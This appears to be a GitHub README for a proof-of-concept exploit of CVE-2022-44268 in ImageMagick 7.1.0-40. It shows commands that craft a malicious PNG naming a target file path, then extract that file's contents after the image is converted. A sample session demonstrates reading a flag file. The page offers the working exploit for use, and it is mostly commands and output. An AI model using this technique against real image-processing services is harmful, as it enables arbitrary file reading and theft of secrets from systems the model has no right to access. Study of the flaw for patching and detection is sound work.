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cve-2022-44268's Introduction

CVE-2022-44268

Credit to the researchers who discovered this:

Create a malicious PNG to take advantage of ImageMagick 7.1.0-40:

  • CVE-2022-44267: Denial of Service
  • CVE-2022-44268: Information Disclosure

Disclaimer: The author of this project is not responsible for any possible harm caused by the materials of this project.

Requirements

  • Python3
  • PIL (pip install Pillow)

Usage

Crafting a PNG with craft.py:

git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file

Data extraction with extract.py:

python3 extract.py exfil.png

PoC

anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt 
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC

anon@computer:~/code/cve-2022-44268$

cve-2022-44268's People

Contributors

agathanon avatar

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